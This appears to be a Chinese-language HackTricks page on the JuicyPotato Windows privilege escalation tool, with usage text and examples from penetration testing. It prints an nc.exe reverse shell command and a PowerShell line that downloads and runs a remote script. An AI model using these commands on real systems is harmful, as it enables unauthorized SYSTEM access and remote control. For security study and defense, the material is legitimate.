JuicyPotato

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

WhiteIntel 是一个由暗网推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件威胁

WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:


JuicyPotato在 Windows Server 2019 和 Windows 10 版本1809之后不起作用。但是,可以使用PrintSpooferRoguePotatoSharpEfsPotato利用相同的权限并获得NT AUTHORITY\SYSTEM级别访问。_查看:_

pageRoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato(滥用黄金特权)

一个经过加糖处理的 RottenPotatoNG,带有一点果汁,即另一个本地权限提升工具,从Windows服务帐户提升到NT AUTHORITY\SYSTEM

摘要

从juicy-potato自述文件中:

RottenPotatoNG及其变体利用基于BITS 服务的特权升级链,在127.0.0.1:6666上具有MiTM监听器,并且当您拥有SeImpersonateSeAssignPrimaryToken权限时。在Windows构建审查期间,我们发现了一个设置,其中BITS被故意禁用,端口6666被占用。

我们决定武器化RottenPotatoNG欢迎Juicy Potato

欲了解理论,请参阅Rotten Potato - 从服务帐户到SYSTEM的特权提升,并跟随链接和参考链。

我们发现,除了BITS外,还有一些COM服务器可以被滥用。它们只需要:

  1. 可以由当前用户(通常是具有模拟权限的“服务用户”)实例化

  2. 实现IMarshal接口

  3. 作为提升用户(SYSTEM、管理员等)运行

经过一些测试,我们获得并测试了在几个Windows版本上的有趣的CLSID列表

Juicy细节

JuicyPotato允许您:

  • 目标CLSID 选择任何您想要的CLSID。 在此 您可以找到按操作系统组织的列表。

  • COM监听端口 定义您喜欢的COM监听端口(而不是已编组的硬编码6666)

  • COM监听IP地址 将服务器绑定到任何IP

  • 进程创建模式 根据模拟用户的权限,您可以选择:

  • CreateProcessWithToken(需要SeImpersonate

  • CreateProcessAsUser(需要SeAssignPrimaryToken

  • 两者

  • 要启动的进程 如果利用成功,启动可执行文件或脚本

  • 进程参数 自定义启动进程参数

  • RPC服务器地址 用于隐蔽的方法,您可以对外部RPC服务器进行身份验证

  • RPC服务器端口 如果要对外部服务器进行身份验证且防火墙阻止端口135,则很有用…

  • 测试模式 主要用于测试目的,即测试CLSID。它创建DCOM并打印令牌的用户。查看 这里进行测试

用法

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

总结

来自 juicy-potato 说明文档:

如果用户具有 SeImpersonateSeAssignPrimaryToken 特权,则您将成为 SYSTEM

几乎不可能阻止所有这些 COM 服务器的滥用。您可以考虑通过 DCOMCNFG 修改这些对象的权限,但祝你好运,这将是具有挑战性的。

实际的解决方案是保护在 * SERVICE 帐户下运行的敏感帐户和应用程序。停止 DCOM 肯定会阻止此漏洞利用,但可能会对底层操作系统产生严重影响。

来源:http://ohpe.it/juicy-potato/

例子

注意:访问此页面查看要尝试的 CLSID 列表。

获取 nc.exe 反向 shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell 反向 shell

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

启动新的CMD(如果您有RDP访问权限)

CLSID 问题

通常情况下,JuicyPotato使用的默认CLSID无法正常工作,导致利用失败。通常需要多次尝试才能找到一个有效的CLSID。要获取特定操作系统的要尝试的CLSID列表,您应该访问此页面:

检查 CLSID

首先,您需要一些除了juicypotato.exe之外的可执行文件。

下载Join-Object.ps1并将其加载到您的PS会话中,然后下载并执行GetCLSID.ps1。该脚本将创建一个要测试的可能CLSID列表。

然后下载test_clsid.bat(更改路径到CLSID列表和juicypotato可执行文件)并执行它。它将开始尝试每个CLSID,当端口号更改时,表示CLSID有效

使用参数 -c 检查有效的CLSID。

参考资料

WhiteIntel是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件威胁

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

最后更新于